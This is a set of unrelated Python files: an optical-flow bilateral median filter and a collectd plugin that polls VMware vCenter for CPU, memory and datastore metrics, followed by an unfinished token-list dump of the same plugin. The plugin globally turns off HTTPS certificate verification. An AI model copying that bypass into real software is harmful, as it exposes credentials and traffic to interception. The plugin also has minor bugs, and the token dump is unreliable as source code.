import math import numpy as np from statistics import median from src.filter.median import quickselect_median def bilateral_median_filter( flow, log_occlusen, auxiliary_field, image, weigth_auxiliary, weigth_filter, sigma_distance=7, sigma_color=7 / 200, filter_size=5, ): """ :param flow: np.float (YX,Height,Width) :param occlusen: (Height, Width) :param auxiliary_field: np.array(float) (Y_flow X_flow , Y_coord X_coord, Height, Width) :param image: np.array(float) (ColorChannel, Height, Width) :param weigth_auxiliary: float > 0 :param weigth_filter: float > 0 :param sigma_distance: float :param sigma_color: float :param filter_size: int :return: flow field """ width = flow.shape[2] height = flow.shape[1] color_channel_count = flow.shape[0] filter_half = int(filter_size / 2) helper_list_size = filter_size**2 * 2 helper_flow_x_list = [0.0] * (helper_list_size + 1) helper_flow_y_list = [0.0] * (helper_list_size + 1) weigths_list = [0.0] * helper_list_size result_flow = np.empty(shape=(2, height, width), dtype=float) for y in range(height): for x in range(width): min_x_compare = max(0, x - filter_half) max_x_compare = min(width, x + filter_half + 1) min_y_compare = max(0, y - filter_half) max_y_compare = min(height, y + filter_half + 1) counter = 0 for y_compare in range(min_y_compare, max_y_compare): for x_compare in range(min_x_compare, max_x_compare): distance_squared_difference = (y - y_compare) ** 2 + (x - x_compare) ** 2 color_squared_difference = 0 for channel in image: color_squared_difference += (channel[y_compare][x_compare] - channel[y][x]) ** 2 exponent = distance_squared_difference / (2 * sigma_distance * sigma_distance) exponent += color_squared_difference / (2 * sigma_color * sigma_color * color_channel_count) occlusen_current = log_occlusen[y][x] occlusen_compared = log_occlusen[y_compare][x_compare] # weigth = math.exp(-exponent) * occlusen_compared / occlusen_current weigth = math.exp(-exponent + occlusen_compared - occlusen_current) weigths_list[counter] = weigth helper_flow_x_list[counter] = flow[1][y_compare][x_compare] helper_flow_y_list[counter] = flow[0][y_compare][x_compare] counter += 1 # See A NEW MEDIAN FORMULA WITH APPLICATIONS TO PDE BASED DENOISING # 3.13 n = counter f_x = auxiliary_field[1][y][x] f_y = auxiliary_field[0][y][x] scalar = 1 / (2 * (weigth_auxiliary / weigth_filter)) for idx_1 in range(n + 1): sum = 0 for idx_2 in range(idx_1): sum -= weigths_list[idx_2] for idx_2 in range(idx_1, n): sum += weigths_list[idx_2] helper_flow_x_list[n + idx_1] = f_x + scalar * sum helper_flow_y_list[n + idx_1] = f_y + scalar * sum result_flow[0][y][x] = median(helper_flow_y_list[: n * 2 + 1]) result_flow[1][y][x] = median(helper_flow_x_list[: n * 2 + 1]) print("result_flow") print(result_flow.flatten()) return result_flow
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55f76ae1ffe0fb2d2ca2c7a20aab45ffb00cf178
# collectd-vcenter - vcenter.py # # Author : Loic Lambiel @ exoscale # Contributor : Josh VanderLinden # Description : This is a collectd python module to gather stats from Vmware # vcenter import logging import ssl import time from pysphere import VIServer try: import collectd COLLECTD_ENABLED = True except ImportError: COLLECTD_ENABLED = False try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context MB = 1024**2 HOST_STATUS = ("green", "gray", "yellow", "red") class Collector(object): def __init__(self, vcenters, username=None, password=None, verbose=False): """ Configuration to poll a vCenter cluster for performance data. :param list vcenters: A list of one or more vCenter server IPs or hostnames. :param str username: The username to use to authenticate against the vCenter cluster. :param str password: The password associated with the specified user. :param bool verbose: (optional) Whether to enable verbose logging. :param int sleep_time: (optional) Number of seconds to wait between polls. """ self.vcenters = vcenters self.username = username self.password = password self.verbose = verbose if COLLECTD_ENABLED: self.log = logging.getLogger() self.log.addHandler(CollectdHandler(self.verbose)) else: logging.basicConfig(level=logging.DEBUG) self.log = logging.getLogger() def poll(self): """ Collect current performance information. """ stats = {} for vcenter in self.vcenters: stats[vcenter] = self.poll_vcenter(vcenter) return stats def poll_vcenter(self, vcenter): """ Open a connection to the specified vCenter server and begin gathering information about its datastores, datacenters, clusters, and hosts. :param str vcenter: The hostname or IP of a vCenter server. :returns: A dictionary containing information about the current state of objects managed by the specified vCenter. """ self.log.debug("polling %s@%s" % (self.username, vcenter)) server = VIServer() try: server.connect(vcenter, self.username, self.password) except: self.log.exception("Failed to connect to %s" % (vcenter,)) return {} stats = { "datastore": {}, "datacenter": {}, } for obj, name in server.get_datastores().items(): ds_stats = self.poll_datastore(server, obj, name) stats["datastore"][name] = ds_stats datacenters = server.get_datacenters() for obj, name in datacenters.items(): dc_stats = self.poll_datacenter(server, obj, name) stats["datacenter"][name] = dc_stats return stats def poll_datastore(self, server, obj, name): """ Gather metrics about a specific datastore. :param VIServer server: A valid connection to a vCenter server. :param MOR obj: Managed object for the datastore. :param str name: Name of the datastore. :returns: A dictionary with four keys: capacity, free, used, and usage. The capacity, free, and used space are measured in megabytes while the usage is a percentage. """ capacity = free = usage = 0 try: self.log.debug("query datastore %s" % (name,)) props = server._retrieve_properties_traversal( property_names=[ "name", "summary.capacity", "summary.freeSpace", ], from_node=obj, obj_type="Datastore", ) for ps in props: for prop in ps.PropSet: pn, pv = prop.Name, prop.Val if pn == "summary.capacity": capacity = pv / MB elif pn == "summary.freeSpace": free = pv / MB except: self.log.exception("Failed to get datastore metrics") if capacity > 0: usage = (capacity - free) / float(capacity) * 100 return { "capacity": capacity, "free": free, "used": capacity - free, "usage": usage, } def poll_datacenter(self, server, obj, name): """ Gather metrics about a specific datacenter. :param VIServer server: A valid connection to a vCenter server. :param MOR obj: Managed object for the datacenter. :param str name: Name of the datacenter. :returns: A dictionary with several keys describing the current state of the datacenter. This dictionary includes information about each cluster and host that is part of the specified datacenter. """ if "." in name: name = name.split(".")[0] stats = self._poll_group("datacenter", server, obj, name) cluster_host_stats = self._poll_group("cluster", server, obj, name) for key, value in cluster_host_stats.items(): if key not in stats: stats[key] = value elif isinstance(stats[key], dict): for c_key, c_value in value.items(): stats[key][c_key] = c_value else: if "percent" in key: stats[key] = (stats[key] + value) / 2 else: stats[key] += value return stats def poll_cluster(self, server, obj, name): """ Gather metrics about a specific cluster. :param VIServer server: A valid connection to a vCenter server. :param MOR obj: Managed object for the cluster. :param str name: Name of the cluster. :returns: A dictionary with several keys describing the current state of the cluster. This dictionary includes information about each host that is part of the specified cluster. """ return self._poll_group("cluster", server, obj, name) def _poll_group(self, group_type, server, obj, name): """ Generic metrics gathering for datacenters and clusters. :param VIServer server: A valid connection to a vCenter server. :param MOR obj: Managed object for a datacenter or cluster. :param str name: Name of a datacenter or cluster. :returns: A dictionary with several keys describing the current state of the datacenter/cluster. This dictionary includes information about each cluster and/or host that is part of the specified object. """ # change collection behavior based on the type of group we're dealing # with if group_type == "datacenter": # find each cluster in the datacenter find_children = server.get_clusters poll_child = self.poll_cluster child_type = "cluster" elif group_type == "cluster": # find each host in the datacenter or cluster find_children = server.get_clusters find_children = server.get_hosts poll_child = self.poll_host child_type = "host" self.log.debug("start querying %s: %s" % (group_type, name)) children = find_children(obj) self.log.debug("finish querying %s: %s" % (group_type, name)) # initialize some metrics cpu_total = cpu_usage = cpu_percent = 0 mem_total = mem_usage = mem_percent = 0 vms_total = vms_running = vms_stopped = 0 child_stats = {} # iterate over each child node in this object group for child_obj, child_name in children.items(): stats = poll_child(server, child_obj, child_name) child_stats[child_name] = stats # aggregate data from each child to the top level cpu_total += stats["cpu_total"] cpu_usage += stats["cpu_usage"] mem_total += stats["mem_total"] mem_usage += stats["mem_usage"] vms_total += stats["vms_total"] vms_running += stats["vms_running"] vms_stopped += stats["vms_stopped"] # recalculate percentages if cpu_total > 0: cpu_percent = cpu_usage / float(cpu_total) * 100 if mem_total > 0: mem_percent = mem_usage / float(mem_total) * 100 # return the current metrics for this group group_stats = { "cpu_total": cpu_total, "cpu_usage": cpu_usage, "cpu_percent": cpu_percent, "mem_total": mem_total, "mem_usage": mem_usage, "mem_percent": mem_percent, "vms_total": vms_total, "vms_running": vms_running, "vms_stopped": vms_stopped, child_type: child_stats, } return group_stats def poll_host(self, server, obj, name): """ Gather metrics about a specific host. :param VIServer server: A valid connection to a vCenter server. :param MOR obj: Managed object for the host. :param str name: Name of the host. :returns: A dictionary with several keys describing the current state of the host, including CPU, memory, and virtual machine information. """ self.log.debug("found host: %s" % (name,)) status = 0 cpu_total = cpu_usage = cpu_percent = cpu_count = cpu_mhz_per_core = 0 mem_total = mem_usage = mem_percent = 0 vms_total = vms_running = vms_stopped = 0 if "." in name and name.count(".") != 3: name = name.split(".")[0] props = server._retrieve_properties_traversal( property_names=[ "name", "summary.overallStatus", "summary.quickStats.overallMemoryUsage", "summary.quickStats.overallCpuUsage", "summary.hardware.memorySize", "summary.hardware.numCpuCores", "summary.hardware.cpuMhz", ], from_node=obj, obj_type="HostSystem", ) for prop_set in props: for prop in prop_set.PropSet: pn, pv = prop.Name, prop.Val if pn == "summary.overallStatus": status = HOST_STATUS.index(pv) elif pn == "summary.quickStats.overallMemoryUsage": mem_usage = pv elif pn == "summary.quickStats.overallCpuUsage": cpu_usage = pv elif pn == "summary.hardware.memorySize": mem_total = pv / MB elif pn == "summary.hardware.numCpuCores": cpu_count = pv elif pn == "summary.hardware.cpuMhz": cpu_mhz_per_core = pv vms_total = len(server.get_registered_vms(obj)) vms_running = len(server.get_registered_vms(obj, status="poweredOn")) vms_stopped = len(server.get_registered_vms(obj, status="poweredOff")) cpu_total = cpu_count * cpu_mhz_per_core cpu_percent = cpu_usage / float(cpu_total) * 100 mem_percent = mem_usage / float(mem_total) * 100 stats = { "status": status, "cpu_total": cpu_total, "cpu_usage": cpu_usage, "cpu_percent": cpu_percent, "cpu_count": cpu_count, "mem_total": mem_total, "mem_usage": mem_usage, "mem_percent": mem_percent, "vms_total": vms_total, "vms_running": vms_running, "vms_stopped": vms_stopped, } return stats class CollectdCollector(Collector): """ Handle dispatching statistics to collectd. """ NAME = "vCenter" def __init__(self, *args, **kwargs): super(CollectdCollector, self).__init__(*args, **kwargs) self.sleep_time = kwargs.get("sleep_time", 20) def configure(self, conf): """ Callback to configure the plugin based on collectd's settings. """ for node in conf.children: key = node.key val = node.values[0] if key == "Vcenter": self.vcenters = val.split() elif key == "Username": self.username = val elif key == "Password": self.password = val elif key == "Verbose": self.verbose = bool(val) elif key == "Sleep": self.sleep_time = int(val) else: self.log.warn("Unknown config key: %s" % (key,)) def read(self): """ Callback to send data back to collectd. """ self.log.debug("Beginning read callback") info = self.poll() if not info: self.log.warn("No data received") return def dispatch_host(name, data): """ Helper to reduce duplication """ for key, value in data.items(): self.dispatch(name, "host_%s" % (key,), name, value) # report information for all vCenter servers for vcenter, data in info.items(): # report datastore information for ds_name, ds_data in data["datastore"].items(): for key, value in ds_data.items(): self.dispatch(vcenter, "ds_%s" % (key,), ds_name, value) # report datacenter information for dc_name, dc_data in data["datacenter"].items(): # extract any cluster and host information for later processing clusters = dc_data.pop("cluster", {}) hosts = dc_data.pop("host", {}) for key, value in dc_data.items(): self.dispatch(vcenter, "dc_%s" % (key,), dc_name, value) # report cluster information for c_name, c_data in clusters.items(): c_hosts = c_data.pop("host", {}) for key, value in c_data.items(): o_type = "cluster_%s" % (key,) self.dispatch(dc_name, o_type, c_name, value) for ch_name, ch_data in c_hosts.items(): dispatch_host(ch_name, ch_data) # report host information for h_name, h_data in hosts.items(): dispatch_host(h_name, h_data) time.sleep(self.sleep_time) def dispatch(self, host, obj_type, obj_instance, value): """ Helper to clean up metric sending. :param str host: The name of the host to which the metric belongs. :param str obj_type: The type of metric to report. :param str obj_instance: An instance to associate with the metric. :param int value: The value of the metric. """ val = collectd.Values(type="gauge", plugin=self.NAME, host=host) val.type_instance = obj_type val.plugin_instance = obj_instance val.values = [value] val.dispatch() class CollectdHandler(logging.Handler): """ Expose collectd logger using standard Python logging. """ def __init__(self, verbose=False, *args, **kwargs): self.verbose = verbose super(CollectdHandler, self).__init__(*args, **kwargs) if COLLECTD_ENABLED: self._handler_map = { logging.CRITICAL: collectd.error, logging.ERROR: collectd.error, logging.WARN: collectd.warning, logging.INFO: collectd.info, logging.DEBUG: collectd.info, } def emit(self, record): if not COLLECTD_ENABLED: return if record.level == logging.DEBUG and not self.verbose: return handler = self._handler_map[record.level] handler(record.getMessage()) if COLLECTD_ENABLED: instance = CollectdCollector([]) collectd.register_config(instance.configure) collectd.register_read(instance.read)
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"Ġfor", "Ġobj", ",", "Ġname", "Ġin", "Ġdatac", "ent", "ers", ".", "items", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġdc", "_", "stats", "Ġ=", "Ġself", ".", "poll", "_", "datac", "enter", "(", "server", ",", "Ġobj", ",", "Ġname", ")", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "[\"", "datac", "enter", "\"][", "name", "]", "Ġ=", "Ġdc", "_", "stats", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġstats", "ĊĊĠĠĠ", "Ġdef", "Ġpoll", "_", "datastore", "(", "self", ",", "Ġserver", ",", "Ġobj", ",", "Ġname", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠG", "ather", "Ġmetrics", "Ġabout", "Ġa", "Ġspecific", "Ġdatastore", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠVI", "Server", "Ġserver", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġvalid", "Ġconnection", "Ġto", "Ġa", "Ġv", "Center", "Ġserver", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠM", "OR", "Ġobj", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠManaged", "Ġobject", "Ġfor", "Ġthe", "Ġdatastore", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "Ġstr", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠName", "Ġof", "Ġthe", "Ġdatastore", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "returns", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġdictionary", "Ġwith", "Ġfour", "Ġkeys", ":", "Ġcapacity", ",", "Ġfree", ",", "Ġused", ",", "Ġand", "Ġusage", ".", "ĠThe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcapacity", ",", "Ġfree", ",", "Ġand", "Ġused", "Ġspace", "Ġare", "Ġmeasured", "Ġin", "Ġmeg", "aby", "tes", "Ġwhile", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġusage", "Ġis", "Ġa", "Ġpercentage", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "Ġcapacity", "Ġ=", "Ġfree", "Ġ=", "Ġusage", "Ġ=", "Ġ", "0", "ĊĊĠĠĠĠĠĠĠ", "Ġtry", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "log", ".", "debug", "(\"", "query", "Ġdatastore", "Ġ%", "s", "\"", "Ġ%", "Ġ(", "name", ",))", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprops", "Ġ=", "Ġserver", "._", "retrieve", "_", "properties", "_", "traversal", "(", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġproperty", "_", "names", "=[", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "name", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "capacity", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "summary", ".", "free", "Space", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġ],", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfrom", "_", "node", "=", "obj", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġobj", "_", "type", "=\"", "Datastore", "\",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ)", "ĊĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġps", "Ġin", "Ġprops", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġprop", "Ġin", "Ġps", ".", "Prop", "Set", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġpn", ",", "Ġpv", "Ġ=", "Ġprop", ".", "Name", ",", "Ġprop", ".", "Val", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "capacity", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġcapacity", "Ġ=", "Ġpv", "Ġ/", "ĠMB", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġpn", "Ġ==", "Ġ\"", "summary", ".", "free", "Space", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfree", "Ġ=", "Ġpv", "Ġ/", "ĠMB", "ĊĠĠĠĠĠĠĠ", "Ġexcept", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġself", ".", "log", ".", "exception", "(\"", "Failed", "Ġto", "Ġget", "Ġdatastore", "Ġmetrics", "\")", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "Ġcapacity", "Ġ>", "Ġ", "0", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġusage", "Ġ=", "Ġ(", "capacity", "Ġ-", "Ġfree", ")", "Ġ/", "Ġfloat", "(", "capacity", ")", "Ġ*", "Ġ", "1", "0", "0", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġ{", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "capacity", "\":", "Ġcapacity", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "free", "\":", "Ġfree", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "used", "\":", "Ġcapacity", "Ġ-", "Ġfree", ",", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ\"", "usage", "\":", "Ġusage", ",", "ĊĠĠĠĠĠĠĠ", "Ġ}", "ĊĊĠĠĠ", "Ġdef", "Ġpoll", "_", "datac", "enter", "(", "self", ",", "Ġserver", ",", "Ġobj", ",", "Ġname", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠG", "ather", "Ġmetrics", "Ġabout", "Ġa", "Ġspecific", "Ġdatac", "enter", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠVI", "Server", "Ġserver", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġvalid", "Ġconnection", "Ġto", "Ġa", "Ġv", "Center", "Ġserver", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠM", "OR", "Ġobj", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠManaged", "Ġobject", "Ġfor", "Ġthe", "Ġdatac", "enter", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "Ġstr", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠName", "Ġof", "Ġthe", "Ġdatac", "enter", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "returns", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġdictionary", "Ġwith", "Ġseveral", "Ġkeys", "Ġdescribing", "Ġthe", "Ġcurrent", "Ġstate", "Ġof", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġdatac", "enter", ".", "ĠThis", "Ġdictionary", "Ġincludes", "Ġinformation", "Ġabout", "Ġeach", "Ġcluster", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġand", "Ġhost", "Ġthat", "Ġis", "Ġpart", "Ġof", "Ġthe", "Ġspecified", "Ġdatac", "enter", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "Ġif", "Ġ\".\"", "Ġin", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġname", "Ġ=", "Ġname", ".", "split", "(\".", "\")[", "0", "]", "ĊĊĠĠĠĠĠĠĠ", "Ġstats", "Ġ=", "Ġself", "._", "poll", "_", "group", "(\"", "datac", "enter", "\",", "Ġserver", ",", "Ġobj", ",", "Ġname", ")", "ĊĊĠĠĠĠĠĠĠ", "Ġcluster", "_", "host", "_", "stats", "Ġ=", "Ġself", "._", "poll", "_", "group", "(\"", "cluster", "\",", "Ġserver", ",", "Ġobj", ",", "Ġname", ")", "ĊĠĠĠĠĠĠĠ", "Ġfor", "Ġkey", ",", "Ġvalue", "Ġin", "Ġcluster", "_", "host", "_", "stats", ".", "items", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġkey", "Ġnot", "Ġin", "Ġstats", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "[", "key", "]", "Ġ=", "Ġvalue", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelif", "Ġisinstance", "(", "stats", "[", "key", "],", "Ġdict", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġfor", "Ġc", "_", "key", ",", "Ġc", "_", "value", "Ġin", "Ġvalue", ".", "items", "():", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "[", "key", "][", "c", "_", "key", "]", "Ġ=", "Ġc", "_", "value", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġif", "Ġ\"", "percent", "\"", "Ġin", "Ġkey", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "[", "key", "]", "Ġ=", "Ġ(", "stats", "[", "key", "]", "Ġ+", "Ġvalue", ")", "Ġ/", "Ġ", "2", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ", "Ġstats", "[", "key", "]", "Ġ+=", "Ġvalue", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġstats", "ĊĊĠĠĠ", "Ġdef", "Ġpoll", "_", "cluster", "(", "self", ",", "Ġserver", ",", "Ġobj", ",", "Ġname", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠG", "ather", "Ġmetrics", "Ġabout", "Ġa", "Ġspecific", "Ġcluster", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠVI", "Server", "Ġserver", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġvalid", "Ġconnection", "Ġto", "Ġa", "Ġv", "Center", "Ġserver", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠM", "OR", "Ġobj", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠManaged", "Ġobject", "Ġfor", "Ġthe", "Ġcluster", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "Ġstr", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠName", "Ġof", "Ġthe", "Ġcluster", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "returns", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġdictionary", "Ġwith", "Ġseveral", "Ġkeys", "Ġdescribing", "Ġthe", "Ġcurrent", "Ġstate", "Ġof", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcluster", ".", "ĠThis", "Ġdictionary", "Ġincludes", "Ġinformation", "Ġabout", "Ġeach", "Ġhost", "Ġthat", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġis", "Ġpart", "Ġof", "Ġthe", "Ġspecified", "Ġcluster", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "Ġreturn", "Ġself", "._", "poll", "_", "group", "(\"", "cluster", "\",", "Ġserver", ",", "Ġobj", ",", "Ġname", ")", "ĊĊĠĠĠ", "Ġdef", "Ġ_", "poll", "_", "group", "(", "self", ",", "Ġgroup", "_", "type", ",", "Ġserver", ",", "Ġobj", ",", "Ġname", "):", "ĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĠĠĠĠĠĠĠ", "ĠGeneric", "Ġmetrics", "Ġgather", "ing", "Ġfor", "Ġdatac", "ent", "ers", "Ġand", "Ġclusters", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠVI", "Server", "Ġserver", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġvalid", "Ġconnection", "Ġto", "Ġa", "Ġv", "Center", "Ġserver", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "ĠM", "OR", "Ġobj", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠManaged", "Ġobject", "Ġfor", "Ġa", "Ġdatac", "enter", "Ġor", "Ġcluster", ".", "ĊĠĠĠĠĠĠĠ", "Ġ:", "param", "Ġstr", "Ġname", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠName", "Ġof", "Ġa", "Ġdatac", "enter", "Ġor", "Ġcluster", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ:", "returns", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "ĠA", "Ġdictionary", "Ġwith", "Ġseveral", "Ġkeys", "Ġdescribing", "Ġthe", "Ġcurrent", "Ġstate", "Ġof", "Ġthe", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġdatac", "enter", "/", "cluster", ".", "ĠThis", "Ġdictionary", "Ġincludes", "Ġinformation", "Ġabout", "Ġeach", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġcluster", "Ġand", "/", "or", "Ġhost", "Ġthat", "Ġis", "Ġpart", "Ġof", "Ġthe", "Ġspecified", "Ġobject", ".", "ĊĊĠĠĠĠĠĠĠ", "Ġ\"\"\"", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġchange", "Ġcollection", "Ġbehavior", "Ġbased", "Ġon", "Ġthe", "Ġtype", "Ġof", "Ġgroup", "Ġwe", "'re", "Ġdealing", "ĊĠĠĠĠĠĠĠ", "Ġ#", "Ġwith", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġgroup", "_", "type", "Ġ==", "Ġ\"", "datac", "enter", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġfind", "Ġeach", "Ġcluster", "Ġin", "Ġthe", "Ġdatac", "enter", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfind", "_", "children", "Ġ=", "Ġserver", ".", "get", "_", "clusters", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġpoll", "_", "child", "Ġ=", "Ġself", ".", "poll", "_", "cluster", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġchild", "_", "type", "Ġ=", "Ġ\"", "cluster", "\"", "ĊĠĠĠĠĠĠĠ", "Ġelif", "Ġgroup", "_", "type", "Ġ==", "Ġ\"", "cluster", "\":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġ#", "Ġfind", "Ġeach", "Ġhost", "Ġin", "Ġthe", "Ġdatac", "enter", "Ġor", "Ġcluster", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfind", "_", "children", "Ġ=", "Ġserver", ".", "get", "_", "clusters", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġfind", "_", "children", "Ġ=", "Ġserver", ".", "get", "_", "hosts", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġpoll", "_", "child", "Ġ=", "Ġself", ".", "poll", "_", "host", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġchild", "_", "type", "Ġ=", "Ġ\"", "host", "\"", "ĊĊĠĠĠĠĠĠĠ", "Ġself", ".", "log", ".", "debug", "(\"", "start", "Ġquerying", "Ġ%", "s", ":", "Ġ%", "s", "\"", "Ġ%", "Ġ(", "group", "_", "type", ",", "Ġname", "))", "ĊĠĠĠĠĠĠĠ", "Ġchildren", "Ġ=", "Ġfind", "_", "children", "(", "obj", ")", "ĊĠĠĠĠĠĠĠ", "Ġself", ".", "log", ".", "debug", "(\"", "finish", "Ġquerying", "Ġ%", "s", ":", "Ġ%", "s", "\"", "Ġ%", "Ġ(", "group", "_", "type", ",", "Ġname", "))", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", "Ġinitialize", "Ġsome", "Ġmetrics", "ĊĠĠĠĠĠĠĠ", "Ġcpu", "_", "total", "Ġ=", "Ġcpu", "_", "usage", "Ġ=", "Ġcpu", "_", "percent", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġmem", "_", "total", "Ġ=", "Ġmem", "_", "usage", "Ġ=", "Ġmem", "_", "percent", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġv", "ms", "_", "total", "Ġ=", "Ġv", "ms", "_", "running", "Ġ=", "Ġv", "ms", "_", "stopped", "Ġ=", "Ġ", "0", "ĊĠĠĠĠĠĠĠ", "Ġchild", "_", "stats", "Ġ=", "Ġ{}", "ĊĊĠĠĠĠĠĠĠ", "Ġ#", 